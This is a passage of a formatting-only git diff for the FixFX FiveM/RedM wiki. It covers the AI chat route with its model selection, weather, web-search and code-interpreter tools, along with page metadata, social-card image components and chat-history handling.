"gemini-1.5-flash") { - selectedModel = google("models/gemini-1.5-flash-latest", { - safetySettings: [ - { - category: "HARM_CATEGORY_HARASSMENT", - threshold: "BLOCK_NONE", - }, - { - category: "HARM_CATEGORY_HATE_SPEECH", - threshold: "BLOCK_NONE", - }, - { - category: "HARM_CATEGORY_SEXUALLY_EXPLICIT", - threshold: "BLOCK_NONE", - }, - { - category: "HARM_CATEGORY_DANGEROUS_CONTENT", - threshold: "BLOCK_NONE", - }, - ] - }); - } else if (model === "claude-3-haiku") { - selectedModel = anthropic("claude-3-haiku-20240307"); - } else { - // Default to GPT-4o mini as fallback - selectedModel = openai("gpt-4o-mini"); - } - - const result = await streamText({ - model: selectedModel, - messages: convertToCoreMessages(messages), - temperature, - system, - maxTokens: 1000, - experimental_toolCallStreaming: true, - tools: { - weatherTool: { - description: 'Get the weather in a location given its latitude and longitude which is with you already.', - parameters: z.object({ - city: z.string().describe('The city of the location to get the weather for.'), - latitude: z.number().describe('The latitude of the location to get the weather for.'), - longitude: z.number().describe('The longitude of the location to get the weather for.'), - }), - execute: async ({ latitude, longitude }: { latitude: number, longitude: number }) => { - console.log(latitude, longitude); - const response = await fetch(`https://api.open-meteo.com/v1/forecast?latitude=${latitude}&longitude=${longitude}¤t=temperature_2m,apparent_temperature,rain`); - const data = await response.json(); - console.log(data); - return { - temperature: data.current.temperature_2m, - apparentTemperature: data.current.apparent_temperature, - rain: data.current.rain, - unit: "°C" - }; - }, +Today's date and day is ${new Date().toLocaleDateString("en-US", { weekday: "long", year: "numeric", month: "long", day: "numeric" })}.`; + + console.log({ messages, model, temperature }); + + let selectedModel; + if (model === "gpt-4o") { + selectedModel = openai("gpt-4o"); + } else if (model === "gpt-4o-mini") { + selectedModel = openai("gpt-4o-mini"); + } else if (model === "gpt-4-turbo") { + selectedModel = openai("gpt-4-turbo"); + } else if (model === "gpt-3.5-turbo") { + selectedModel = openai("gpt-3.5-turbo"); + } else if (model === "gemini-1.5-flash") { + selectedModel = google("models/gemini-1.5-flash-latest", { + safetySettings: [ + { + category: "HARM_CATEGORY_HARASSMENT", + threshold: "BLOCK_NONE", + }, + { + category: "HARM_CATEGORY_HATE_SPEECH", + threshold: "BLOCK_NONE", + }, + { + category: "HARM_CATEGORY_SEXUALLY_EXPLICIT", + threshold: "BLOCK_NONE", + }, + { + category: "HARM_CATEGORY_DANGEROUS_CONTENT", + threshold: "BLOCK_NONE", + }, + ], + }); + } else if (model === "claude-3-haiku") { + selectedModel = anthropic("claude-3-haiku-20240307"); + } else { + // Default to GPT-4o mini as fallback + selectedModel = openai("gpt-4o-mini"); + } + + const result = await streamText({ + model: selectedModel, + messages: convertToCoreMessages(messages), + temperature, + system, + maxTokens: 1000, + experimental_toolCallStreaming: true, + tools: { + weatherTool: { + description: + "Get the weather in a location given its latitude and longitude which is with you already.", + parameters: z.object({ + city: z + .string() + .describe("The city of the location to get the weather for."), + latitude: z + .number() + .describe("The latitude of the location to get the weather for."), + longitude: z + .number() + .describe("The longitude of the location to get the weather for."), + }), + execute: async ({ + latitude, + longitude, + }: { + latitude: number; + longitude: number; + }) => { + console.log(latitude, longitude); + const response = await fetch( + `https://api.open-meteo.com/v1/forecast?latitude=${latitude}&longitude=${longitude}¤t=temperature_2m,apparent_temperature,rain`, + ); + const data = await response.json(); + console.log(data); + return { + temperature: data.current.temperature_2m, + apparentTemperature: data.current.apparent_temperature, + rain: data.current.rain, + unit: "°C", + }; + }, + }, + web_search: { + description: + "Search the web for information with the given query, max results and search depth.", + parameters: z.object({ + query: z.string().describe("The search query to look up on the web."), + maxResults: z + .number() + .describe( + "The maximum number of results to return. Default to be used is 10.", + ), + searchDepth: z + .enum(["basic", "advanced"]) + .describe( + "The search depth to use for the search. Default is basic.", + ), + }), + execute: async ({ + query, + maxResults, + searchDepth, + }: { + query: string; + maxResults: number; + searchDepth: "basic" | "advanced"; + }) => { + const apiKey = process.env.TAVILY_API_KEY; + const response = await fetch("https://api.tavily.com/search", { + method: "POST", + headers: { + "Content-Type": "application/json", }, - web_search: { - description: 'Search the web for information with the given query, max results and search depth.', - parameters: z.object({ - query: z.string().describe('The search query to look up on the web.'), - maxResults: z.number().describe('The maximum number of results to return. Default to be used is 10.'), - searchDepth: z.enum(['basic', 'advanced']).describe('The search depth to use for the search. Default is basic.') - }), - execute: async ({ query, maxResults, searchDepth }: { query: string, maxResults: number, searchDepth: 'basic' | 'advanced' }) => { - const apiKey = process.env.TAVILY_API_KEY; - const response = await fetch('https://api.tavily.com/search', { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - api_key: apiKey, - query, - max_results: maxResults < 5 ? 5 : maxResults, - search_depth: searchDepth, - include_images: true, - include_answers: true - }) - }); - const data = await response.json(); - let context = data.results.map((obj: { url: any; content: any; title: any; raw_content: any; }) => ({ - url: obj.url, - title: obj.title, - content: obj.content, - raw_content: obj.raw_content - })); - return { results: context }; - } + body: JSON.stringify({ + api_key: apiKey, + query, + max_results: maxResults < 5 ? 5 : maxResults, + search_depth: searchDepth, + include_images: true, + include_answers: true, + }), + }); + const data = await response.json(); + let context = data.results.map( + (obj: { + url: any; + content: any; + title: any; + raw_content: any; + }) => ({ + url: obj.url, + title: obj.title, + content: obj.content, + raw_content: obj.raw_content, + }), + ); + return { results: context }; + }, + }, + codeInterpreter: { + description: "Write and execute Python code.", + parameters: z.object({ + title: z.string().describe("The title of the code snippet."), + code: z + .string() + .describe( + "The Python code to execute. Use print statements to display the output.", + ), + }), + execute: async ({ code }) => { + code = code.replace(/\\n/g, "\n").replace(/\\/g, ""); + console.log(code); + const response = await fetch("https://interpreter.za16.co", { + method: "POST", + headers: { + "Content-Type": "application/json", }, - codeInterpreter: { - description: "Write and execute Python code.", - parameters: z.object({ - title: z.string().describe('The title of the code snippet.'), - code: z.string().describe('The Python code to execute. Use print statements to display the output.'), - }), - execute: async ({ code }) => { - code = code.replace(/\\n/g, '\n').replace(/\\/g, ''); - console.log(code); - const response = await fetch('https://interpreter.za16.co', { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ code }) - }); - const data = await response.json(); - console.log(data.std_out); - return { - output: data.std_out, - error: data.error, - ...(data.output_files.length > 0 && { - file: data.output_files[0].b64_data, - filename: data.output_files[0].filename - }) - }; - } - } - } - }); + body: JSON.stringify({ code }), + }); + const data = await response.json(); + console.log(data.std_out); + return { + output: data.std_out, + error: data.error, + ...(data.output_files.length > 0 && { + file: data.output_files[0].b64_data, + filename: data.output_files[0].filename, + }), + }; + }, + }, + }, + }); - return result.toAIStreamResponse(); -} \ No newline at end of file + return result.toAIStreamResponse(); +} diff --git a/app/api/guidelines/route.ts b/app/api/guidelines/route.ts index bed6193..ebba99f 100644 --- a/app/api/guidelines/route.ts +++ b/app/api/guidelines/route.ts @@ -3,12 +3,9 @@ import { join } from "path"; export async function GET() { try { - const filePath = join( - process.cwd(), - "packages/providers/GUIDELINES.md" - ); + const filePath = join(process.cwd(), "packages/providers/GUIDELINES.md"); const content = await readFile(filePath, "utf-8"); - + return Response.json({ success: true, content, @@ -17,7 +14,7 @@ export async function GET() { console.error("Error reading guidelines:", error); return Response.json( { success: false, error: "Failed to read guidelines" }, - { status: 500 } + { status: 500 }, ); } } diff --git a/app/api/providers/route.ts b/app/api/providers/route.ts index 672636f..a0af51a 100644 --- a/app/api/providers/route.ts +++ b/app/api/providers/route.ts @@ -11,7 +11,7 @@ export async function GET() { console.error("Error fetching providers:", error); return Response.json( { success: false, error: "Failed to fetch providers" }, - { status: 500 } + { status: 500 }, ); } } diff --git a/app/api/trusted-hosts/route.ts b/app/api/trusted-hosts/route.ts index ca266b9..48044f5 100644 --- a/app/api/trusted-hosts/route.ts +++ b/app/api/trusted-hosts/route.ts @@ -11,7 +11,7 @@ export async function GET() { console.error("Error fetching trusted hosts:", error); return Response.json( { success: false, error: "Failed to fetch trusted hosts" }, - { status: 500 } + { status: 500 }, ); } } diff --git a/app/apple-icon.tsx b/app/apple-icon.tsx index 502967c..6113ee7 100644 --- a/app/apple-icon.tsx +++ b/app/apple-icon.tsx @@ -10,82 +10,84 @@ export const contentType = "image/png"; export default function AppleIcon() { return new ImageResponse( - ( +
+ {/* Background gradient orbs - scaled down */}
+
+
+ + {/* FixFX Icon */} + - {/* Background gradient orbs - scaled down */} -
-
-
- {/* FixFX Icon */} - - {/* First path */} - - - {/* Second path */} - - -
- ), + {/* Second path */} + + +
, { ...size, - } + }, ); } diff --git a/app/artifacts/layout.tsx b/app/artifacts/layout.tsx index 8b2498d..1440b17 100644 --- a/app/artifacts/layout.tsx +++ b/app/artifacts/layout.tsx @@ -1,17 +1,26 @@ import { Metadata } from "next"; export const metadata: Metadata = { - title: 'FiveM & RedM Artifact Explorer', - description: 'Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds for Windows and Linux.', - keywords: ['FiveM artifacts', 'RedM artifacts', 'FXServer download', 'CitizenFX artifacts', 'FiveM server files', 'RedM server files'], + title: "FiveM & RedM Artifact Explorer", + description: + "Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds for Windows and Linux.", + keywords: [ + "FiveM artifacts", + "RedM artifacts", + "FXServer download", + "CitizenFX artifacts", + "FiveM server files", + "RedM server files", + ], alternates: { - canonical: 'https://fixfx.wiki/artifacts', + canonical: "https://fixfx.wiki/artifacts", }, openGraph: { - title: 'FiveM & RedM Artifact Explorer | FixFX', - description: 'Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds.', - url: 'https://fixfx.wiki/artifacts', - type: 'website', + title: "FiveM & RedM Artifact Explorer | FixFX", + description: + "Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds.", + url: "https://fixfx.wiki/artifacts", + type: "website", }, }; @@ -20,9 +29,5 @@ export default function ArtifactsLayout({ }: { children: React.ReactNode; }) { - return ( -
- {children} -
- ); -} \ No newline at end of file + return
{children}
; +} diff --git a/app/artifacts/opengraph-image.tsx b/app/artifacts/opengraph-image.tsx index f2e1ebe..f2f5f17 100644 --- a/app/artifacts/opengraph-image.tsx +++ b/app/artifacts/opengraph-image.tsx @@ -11,169 +11,170 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+ + {/* Icon */}
- {/* Background gradient orbs */} -
+ + {/* Main title */} +
+ -
+ Fix + + - - {/* Icon */} -
+ FX + + - 📦 -
+ Artifacts +
+
- {/* Main title */} + {/* Subtitle */} +

+ Download FiveM and RedM server builds with version tracking +

+ + {/* Status badges */} +
- - Fix - - - FX - - - Artifacts - + ✓ Recommended
- - {/* Subtitle */} -

- Download FiveM and RedM server builds with version tracking -

- - {/* Status badges */} + Latest +
-
- ✓ Recommended -
-
- Latest -
-
- Active -
+ Active
- ), +
, { ...size, - } + }, ); } diff --git a/app/artifacts/page.tsx b/app/artifacts/page.tsx index 012598b..e0aa527 100644 --- a/app/artifacts/page.tsx +++ b/app/artifacts/page.tsx @@ -1,31 +1,43 @@ -'use client'; - -import { useState, useEffect, Suspense } from 'react'; -import { ArtifactsSidebar } from '@ui/core/artifacts/artifacts-sidebar'; -import { ArtifactsContent } from '@ui/core/artifacts/artifacts-content'; -import { MobileArtifactsHeader } from '@ui/core/artifacts/mobile-artifacts-header'; -import { ArtifactsDrawer } from '@ui/core/artifacts/artifacts-drawer'; -import { useRouter, useSearchParams } from 'next/navigation'; -import { Card } from '@ui/components/card'; -import { Progress } from '@ui/components/progress'; - -type SupportStatus = "recommended" | "latest" | "active" | "deprecated" | "eol" | undefined; +"use client"; + +import { useState, useEffect, Suspense } from "react"; +import { ArtifactsSidebar } from "@ui/core/artifacts/artifacts-sidebar"; +import { ArtifactsContent } from "@ui/core/artifacts/artifacts-content"; +import { MobileArtifactsHeader } from "@ui/core/artifacts/mobile-artifacts-header"; +import { ArtifactsDrawer } from "@ui/core/artifacts/artifacts-drawer"; +import { useRouter, useSearchParams } from "next/navigation"; +import { Card } from "@ui/components/card"; +import { Progress } from "@ui/components/progress"; + +type SupportStatus = + | "recommended" + | "latest" + | "active" + | "deprecated" + | "eol" + | undefined; // Create a wrapper component for handling search params function ArtifactsPageContent() { const searchParams = useSearchParams(); - const initialPlatform = (searchParams.get('platform') as 'windows' | 'linux') || 'windows'; - const initialSearch = searchParams.get('search') || ''; - const initialSortBy = (searchParams.get('sortBy') as 'version' | 'date') || 'version'; - const initialSortOrder = (searchParams.get('sortOrder') as 'asc' | 'desc') || 'desc'; - const initialStatus = (searchParams.get('status') as SupportStatus) || undefined; - const initialIncludeEol = searchParams.get('includeEol') === 'true'; + const initialPlatform = + (searchParams.get("platform") as "windows" | "linux") || "windows"; + const initialSearch = searchParams.get("search") || ""; + const initialSortBy = + (searchParams.get("sortBy") as "version" | "date") || "version"; + const initialSortOrder = + (searchParams.get("sortOrder") as "asc" | "desc") || "desc"; + const initialStatus = + (searchParams.get("status") as SupportStatus) || undefined; + const initialIncludeEol = searchParams.get("includeEol") === "true"; // Set state with initial values from URL - const [platform, setPlatform] = useState<'windows' | 'linux'>(initialPlatform); + const [platform, setPlatform] = useState<"windows" | "linux">( + initialPlatform, + ); const [searchQuery, setSearchQuery] = useState(initialSearch); - const [sortBy, setSortBy] = useState<'version' | 'date'>(initialSortBy); - const [sortOrder, setSortOrder] = useState<'asc' | 'desc'>(initialSortOrder); + const [sortBy, setSortBy] = useState<"version" | "date">(initialSortBy); + const [sortOrder, setSortOrder] = useState<"asc" | "desc">(initialSortOrder); const [status, setStatus] = useState(initialStatus); const [includeEol, setIncludeEol] = useState(initialIncludeEol); const [artifactsDrawerOpen, setArtifactsDrawerOpen] = useState(false); @@ -35,21 +47,21 @@ function ArtifactsPageContent() { // Update URL when filters change useEffect(() => { const params = new URLSearchParams(); - params.set('platform', platform); + params.set("platform", platform); - if (searchQuery) params.set('search', searchQuery); - if (sortBy !== 'version') params.set('sortBy', sortBy); - if (sortOrder !== 'desc') params.set('sortOrder', sortOrder); - if (status) params.set('status', status); - if (includeEol) params.set('includeEol', 'true'); + if (searchQuery) params.set("search", searchQuery); + if (sortBy !== "version") params.set("sortBy", sortBy); + if (sortOrder !== "desc") params.set("sortOrder", sortOrder); + if (status) params.set("status", status); + if (includeEol) params.set("includeEol", "true"); // Replace state without triggering a navigation const url = `${window.location.pathname}?${params.toString()}`; - window.history.replaceState({}, '', url); + window.history.replaceState({}, "", url); }, [platform, searchQuery, sortBy, sortOrder, status, includeEol]); // Handle platform change in the sidebar - const handlePlatformChange = (newPlatform: 'windows' | 'linux') => { + const handlePlatformChange = (newPlatform: "windows" | "linux") => { setPlatform(newPlatform); }; @@ -64,10 +76,7 @@ function ArtifactsPageContent() { {/* Desktop layout */}
- +
-

Loading artifacts...

+

+ Loading artifacts... +

} > @@ -127,7 +138,9 @@ export default function ArtifactsPage() {
-

Loading artifacts page...

+

+ Loading artifacts page... +

} @@ -138,4 +151,4 @@ export default function ArtifactsPage() { } // Mark as dynamic -export const dynamic = 'force-dynamic'; +export const dynamic = "force-dynamic"; diff --git a/app/artifacts/twitter-image.tsx b/app/artifacts/twitter-image.tsx index a9e1af4..79d55cc 100644 --- a/app/artifacts/twitter-image.tsx +++ b/app/artifacts/twitter-image.tsx @@ -11,90 +11,90 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orb */} +
+ + {/* Icon */} +
+ 📦 +
+ + {/* Main title */}
- {/* Background gradient orb */} -
- - {/* Icon */} -
- 📦 -
- - {/* Main title */} -
+ - - Fix - - - FX - -
- - {/* Subtitle */} -

- Artifacts -

+ FX +
- ), + + {/* Subtitle */} +

+ Artifacts +

+
, { ...size, - } + }, ); } diff --git a/app/banner-wide/route.tsx b/app/banner-wide/route.tsx index 64d54c9..267081a 100644 --- a/app/banner-wide/route.tsx +++ b/app/banner-wide/route.tsx @@ -4,111 +4,117 @@ export const runtime = "nodejs"; export async function GET() { return new ImageResponse( - ( +
+ {/* Background gradient orbs - spread horizontally for wide banner */}
- {/* Background gradient orbs - spread horizontally for wide banner */} -
-
-
-
-
+ /> +
+
+
+
- {/* Subtle grid pattern overlay */} -
+ backgroundSize: "60px 60px", + }} + /> - {/* Subtle gradient overlays */} -
-
-
- ), + {/* Subtle gradient overlays */} +
+
+
, { width: 2560, height: 720, - } + }, ); } diff --git a/app/banner/route.tsx b/app/banner/route.tsx index 10a8627..a784978 100644 --- a/app/banner/route.tsx +++ b/app/banner/route.tsx @@ -4,111 +4,117 @@ export const runtime = "nodejs"; export async function GET() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */}
- {/* Background gradient orbs */} -
-
-
-
-
+ /> +
+
+
+
- {/* Subtle grid pattern overlay */} -
+ backgroundSize: "60px 60px", + }} + /> - {/* Subtle noise texture simulation with dots */} -
-
-
- ), + {/* Subtle noise texture simulation with dots */} +
+
+
, { width: 1920, height: 1080, - } + }, ); } diff --git a/app/brand/page.tsx b/app/brand/page.tsx index c0cd275..49ad3ec 100644 --- a/app/brand/page.tsx +++ b/app/brand/page.tsx @@ -15,7 +15,10 @@ export default function BrandPage() {
{/* Icon */}
- +
{/* Title */} @@ -30,52 +33,71 @@ export default function BrandPage() { {/* Subtitle */}

- Your comprehensive resource for FiveM, RedM, and the CitizenFX ecosystem. + Your comprehensive resource for FiveM, RedM, and the CitizenFX + ecosystem.

{/* Brand Guidelines */}
-

Brand Guidelines

- +

+ Brand Guidelines +

+ {/* Color Palette */}
-

Primary Colors

+

+ Primary Colors +

- #2563EB + + #2563EB +
- #3B82F6 + + #3B82F6 +
- #06B6D4 + + #06B6D4 +
- #0A0A0F + + #0A0A0F +
{/* Typography */}
-

Typography

+

+ Typography +

- Font Family: Inter, system-ui, sans-serif + Font Family: Inter, + system-ui, sans-serif

- Logo Text: "Fix" in gradient, "FX" in foreground + Logo Text:{" "} + "Fix" in gradient, "FX" in foreground

{/* Usage Notes */}
-

Usage Notes

+

+ Usage Notes +

  • @@ -119,7 +141,14 @@ export default function BrandPage() { {/* SVG Download */}

    - Need a different format? Contact us for SVG or other formats. + Need a different format?{" "} + + Contact us + {" "} + for SVG or other formats.

diff --git a/app/chat/layout.tsx b/app/chat/layout.tsx index a1afd33..9fdbd41 100644 --- a/app/chat/layout.tsx +++ b/app/chat/layout.tsx @@ -1,24 +1,30 @@ import { Metadata } from "next"; export const metadata: Metadata = { - title: 'Fixie AI - FiveM & RedM Assistant', - description: 'AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, server configuration, and troubleshooting.', - keywords: ['FiveM AI', 'RedM AI', 'txAdmin help', 'CitizenFX assistant', 'Lua scripting help', 'FiveM support', 'server development help'], - alternates: { - canonical: 'https://fixfx.wiki/chat', - }, - openGraph: { - title: 'Fixie AI - FiveM & RedM Assistant | FixFX', - description: 'AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, and more.', - url: 'https://fixfx.wiki/chat', - type: 'website', - }, + title: "Fixie AI - FiveM & RedM Assistant", + description: + "AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, server configuration, and troubleshooting.", + keywords: [ + "FiveM AI", + "RedM AI", + "txAdmin help", + "CitizenFX assistant", + "Lua scripting help", + "FiveM support", + "server development help", + ], + alternates: { + canonical: "https://fixfx.wiki/chat", + }, + openGraph: { + title: "Fixie AI - FiveM & RedM Assistant | FixFX", + description: + "AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, and more.", + url: "https://fixfx.wiki/chat", + type: "website", + }, }; -export default function AskLayout({ - children, -}: { - children: React.ReactNode; -}) { - return children; -} \ No newline at end of file +export default function AskLayout({ children }: { children: React.ReactNode }) { + return children; +} diff --git a/app/chat/opengraph-image.tsx b/app/chat/opengraph-image.tsx index 3cb4538..4e8c01f 100644 --- a/app/chat/opengraph-image.tsx +++ b/app/chat/opengraph-image.tsx @@ -11,139 +11,140 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+ + {/* Icon */}
- {/* Background gradient orbs */} -
-
+ 🤖 +
- {/* Icon */} -
+ - 🤖 -
- - {/* Main title */} -
+ - - Fix - - - FX - - - Chat - -
- - {/* Subtitle */} -

+ - AI-powered assistant for FiveM and RedM development -

+ Chat + +
- {/* Badge */} -
-
- - Powered by AI - -
+ {/* Subtitle */} +

+ AI-powered assistant for FiveM and RedM development +

+ + {/* Badge */} +
+
+ + Powered by AI +
- ), +
, { ...size, - } + }, ); } diff --git a/app/chat/page.tsx b/app/chat/page.tsx index 600697f..d64c3a9 100644 --- a/app/chat/page.tsx +++ b/app/chat/page.tsx @@ -1,177 +1,186 @@ -"use client" +"use client"; -import { ChatSidebar } from '@ui/components/chat-sidebar'; -import { ChatInterface, SavedChat } from '@ui/core/chat/ChatInterface'; -import { MobileChatHeader } from '@ui/components/mobile-chat-header'; -import { MobileChatDrawer } from '@ui/components/mobile-chat-drawer'; -import { useState, useEffect } from 'react'; -import { Message } from 'ai'; +import { ChatSidebar } from "@ui/components/chat-sidebar"; +import { ChatInterface, SavedChat } from "@ui/core/chat/ChatInterface"; +import { MobileChatHeader } from "@ui/components/mobile-chat-header"; +import { MobileChatDrawer } from "@ui/components/mobile-chat-drawer"; +import { useState, useEffect } from "react"; +import { Message } from "ai"; export default function AskPage() { - const [model, setModel] = useState('gpt-4o-mini'); - const [temperature, setTemperature] = useState(0.7); - const [chatKey, setChatKey] = useState(Date.now()); - const [initialMessages, setInitialMessages] = useState([]); - const [mobileDrawerOpen, setMobileDrawerOpen] = useState(false); - - // This effect ensures the active chat is properly set on page load - useEffect(() => { - const storedActiveChat = localStorage.getItem('fixfx-current-chat'); - if (storedActiveChat) { - // If there's an active chat stored, load it - const savedChatsStr = localStorage.getItem('fixfx-chats'); - if (savedChatsStr) { - try { - const savedChats: SavedChat[] = JSON.parse(savedChatsStr); - const activeChat = savedChats.find(chat => chat.id === storedActiveChat); - if (activeChat) { - console.log("[AskPage] Loading stored active chat:", activeChat.id); - setModel(activeChat.model); - setTemperature(activeChat.temperature); - setInitialMessages(activeChat.messages); - } - } catch (error) { - console.error('Error loading stored active chat:', error); - } - } + const [model, setModel] = useState("gpt-4o-mini"); + const [temperature, setTemperature] = useState(0.7); + const [chatKey, setChatKey] = useState(Date.now()); + const [initialMessages, setInitialMessages] = useState([]); + const [mobileDrawerOpen, setMobileDrawerOpen] = useState(false); + + // This effect ensures the active chat is properly set on page load + useEffect(() => { + const storedActiveChat = localStorage.getItem("fixfx-current-chat"); + if (storedActiveChat) { + // If there's an active chat stored, load it + const savedChatsStr = localStorage.getItem("fixfx-chats"); + if (savedChatsStr) { + try { + const savedChats: SavedChat[] = JSON.parse(savedChatsStr); + const activeChat = savedChats.find( + (chat) => chat.id === storedActiveChat, + ); + if (activeChat) { + console.log("[AskPage] Loading stored active chat:", activeChat.id); + setModel(activeChat.model); + setTemperature(activeChat.temperature); + setInitialMessages(activeChat.messages); + } + } catch (error) { + console.error("Error loading stored active chat:", error); } - }, []); - - // Clean up duplicates and fix chat selection - useEffect(() => { - const cleanupStoredChats = () => { - try { - const savedChatsStr = localStorage.getItem('fixfx-chats'); - if (savedChatsStr) { - const savedChats: SavedChat[] = JSON.parse(savedChatsStr); - - // Deduplicate by ID first - const uniqueChatsById = new Map(); - savedChats.forEach(chat => uniqueChatsById.set(chat.id, chat)); - - // Further deduplicate by content if needed - const uniqueChatsByContent = new Map(); - for (const chat of uniqueChatsById.values()) { - const firstUserMsg = chat.messages.find(m => m.role === 'user'); - if (firstUserMsg) { - const key = firstUserMsg.content; - if (!uniqueChatsByContent.has(key) || uniqueChatsByContent.get(key).messages.length < chat.messages.length) { - uniqueChatsByContent.set(key, chat); - } - } else { - // Keep chats without user messages (welcome only) - uniqueChatsByContent.set(chat.id, chat); - } - } - - // Convert back to array and store - const deduplicatedChats = Array.from(uniqueChatsByContent.values()); - localStorage.setItem('fixfx-chats', JSON.stringify(deduplicatedChats)); - - // Notify components that chats have been updated - window.dispatchEvent(new CustomEvent('chatsUpdated')); - } - } catch (error) { - console.error('Error cleaning up saved chats:', error); + } + } + }, []); + + // Clean up duplicates and fix chat selection + useEffect(() => { + const cleanupStoredChats = () => { + try { + const savedChatsStr = localStorage.getItem("fixfx-chats"); + if (savedChatsStr) { + const savedChats: SavedChat[] = JSON.parse(savedChatsStr); + + // Deduplicate by ID first + const uniqueChatsById = new Map(); + savedChats.forEach((chat) => uniqueChatsById.set(chat.id, chat)); + + // Further deduplicate by content if needed + const uniqueChatsByContent = new Map(); + for (const chat of uniqueChatsById.values()) { + const firstUserMsg = chat.messages.find((m) => m.role === "user"); + if (firstUserMsg) { + const key = firstUserMsg.content; + if ( + !uniqueChatsByContent.has(key) || + uniqueChatsByContent.get(key).messages.length < + chat.messages.length + ) { + uniqueChatsByContent.set(key, chat); + } + } else { + // Keep chats without user messages (welcome only) + uniqueChatsByContent.set(chat.id, chat); } - }; - - cleanupStoredChats(); - - // Also clean up whenever chats update, to catch any new duplicates - const handleChatsUpdated = () => setTimeout(cleanupStoredChats, 100); // Small delay to ensure storage is updated first - window.addEventListener('chatsUpdated', handleChatsUpdated); - return () => { - window.removeEventListener('chatsUpdated', handleChatsUpdated); - }; - }, []); - - const handleLoadChat = (chat: SavedChat) => { - // First update localStorage and dispatch event - localStorage.setItem('fixfx-current-chat', chat.id); - window.dispatchEvent(new CustomEvent('activeChatChanged')); - - // Then update UI state - setModel(chat.model); - setTemperature(chat.temperature); - setInitialMessages(chat.messages); - setChatKey(Date.now()); - setMobileDrawerOpen(false); - - console.log("[AskPage] Loaded chat:", chat.id); - }; - - const handleNewChat = () => { - // First clear localStorage and dispatch event - localStorage.removeItem('fixfx-current-chat'); - window.dispatchEvent(new CustomEvent('activeChatChanged')); + } - // Then update UI - setInitialMessages([]); - setChatKey(Date.now()); - setMobileDrawerOpen(false); + // Convert back to array and store + const deduplicatedChats = Array.from(uniqueChatsByContent.values()); + localStorage.setItem( + "fixfx-chats", + JSON.stringify(deduplicatedChats), + ); - console.log("[AskPage] Started new chat"); + // Notify components that chats have been updated + window.dispatchEvent(new CustomEvent("chatsUpdated")); + } + } catch (error) { + console.error("Error cleaning up saved chats:", error); + } }; - return ( -
- {/* Ambient background */} -
-
-
-
-
-
- - {/* Desktop layout */} -
- -
- -
-
- - {/* Mobile layout - positioned relative to allow for fixed header */} -
- setMobileDrawerOpen(true)} - model={model} - temperature={temperature} - /> -
- -
- setMobileDrawerOpen(false)} - model={model} - temperature={temperature} - onModelChange={setModel} - onTemperatureChange={setTemperature} - onLoadChat={handleLoadChat} - onNewChat={handleNewChat} - /> -
-
- ); -} \ No newline at end of file + cleanupStoredChats(); + + // Also clean up whenever chats update, to catch any new duplicates + const handleChatsUpdated = () => setTimeout(cleanupStoredChats, 100); // Small delay to ensure storage is updated first + window.addEventListener("chatsUpdated", handleChatsUpdated); + return () => { + window.removeEventListener("chatsUpdated", handleChatsUpdated); + }; + }, []); + + const handleLoadChat = (chat: SavedChat) => { + // First update localStorage and dispatch event + localStorage.setItem("fixfx-current-chat", chat.id); + window.dispatchEvent(new CustomEvent("activeChatChanged")); + + // Then update UI state + setModel(chat.model); + setTemperature(chat.temperature); + setInitialMessages(chat.messages); + setChatKey(Date.now()); + setMobileDrawerOpen(false); + + console.log("[AskPage] Loaded chat:", chat.id); + }; + + const handleNewChat = () => { + // First clear localStorage and dispatch event + localStorage.removeItem("fixfx-current-chat"); + window.dispatchEvent(new CustomEvent("activeChatChanged")); + + // Then update UI + setInitialMessages([]); + setChatKey(Date.now()); + setMobileDrawerOpen(false); + + console.log("[AskPage] Started new chat"); + }; + + return ( +
+ {/* Ambient background */} +
+
+
+
+
+
+ + {/* Desktop layout */} +
+ +
+ +
+
+ + {/* Mobile layout - positioned relative to allow for fixed header */} +
+ setMobileDrawerOpen(true)} + model={model} + temperature={temperature} + /> +
+ +
+ setMobileDrawerOpen(false)} + model={model} + temperature={temperature} + onModelChange={setModel} + onTemperatureChange={setTemperature} + onLoadChat={handleLoadChat} + onNewChat={handleNewChat} + /> +
+
+ ); +} diff --git a/app/chat/twitter-image.tsx b/app/chat/twitter-image.tsx index c7be150..9135607 100644 --- a/app/chat/twitter-image.tsx +++ b/app/chat/twitter-image.tsx @@ -11,90 +11,90 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orb */} +
+ + {/* Icon */} +
+ 🤖 +
+ + {/* Main title */}
- {/* Background gradient orb */} -
- - {/* Icon */} -
- 🤖 -
- - {/* Main title */} -
+ - - Fix - - - FX - -
- - {/* Subtitle */} -

- Chat -

+ FX +
- ), + + {/* Subtitle */} +

+ Chat +

+
, { ...size, - } + }, ); } diff --git a/app/components/index.ts b/app/components/index.ts index 564075b..cb75cb2 100644 --- a/app/components/index.ts +++ b/app/components/index.ts @@ -1 +1 @@ -export { FileSource, ImageModal } from '@ui/components'; +export { FileSource, ImageModal } from "@ui/components"; diff --git a/app/discord/page.tsx b/app/discord/page.tsx index 67f11a2..2a4bb0e 100644 --- a/app/discord/page.tsx +++ b/app/discord/page.tsx @@ -37,7 +37,8 @@ export default function DiscordPage() { Join the Community

- You should be redirected to our Discord server automatically. If not, click the button below! + You should be redirected to our Discord server automatically. If + not, click the button below!

